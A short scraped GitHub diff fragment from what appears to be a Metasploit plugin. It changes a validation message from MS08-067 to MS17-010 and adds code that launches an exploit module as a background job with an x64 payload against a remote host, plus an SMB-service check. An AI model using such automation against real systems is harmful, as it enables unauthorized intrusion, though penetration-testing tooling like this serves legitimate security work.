You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
print_status("Validating MS08-067 on #{mod.datastore['RHOST']}:#{mod.datastore['RPORT']} with #{mod.datastore['PAYLOAD']} on port #{mod.datastore['LPORT']}")
print_status("Validating MS17-010 on #{mod.datastore['RHOST']}:#{mod.datastore['RPORT']} with #{mod.datastore['PAYLOAD']} on port #{mod.datastore['LPORT']}")
107
+
begin
108
+
mod.exploit_simple({
109
+
'LocalOutput' => self.output,
110
+
'RunAsJob' => true,
111
+
'Payload' => get_x64_payload_name
112
+
})
113
+
@job_ids << mod.job_id
114
+
rescue ::Exception => e
115
+
print_error(e.message)
116
+
end
117
+
end
118
+
119
+
def is_smb?(host, serv)
120
+
return false unless serv.host
121
+
return false if serv.state != Msf::ServiceState::Open
0 commit comments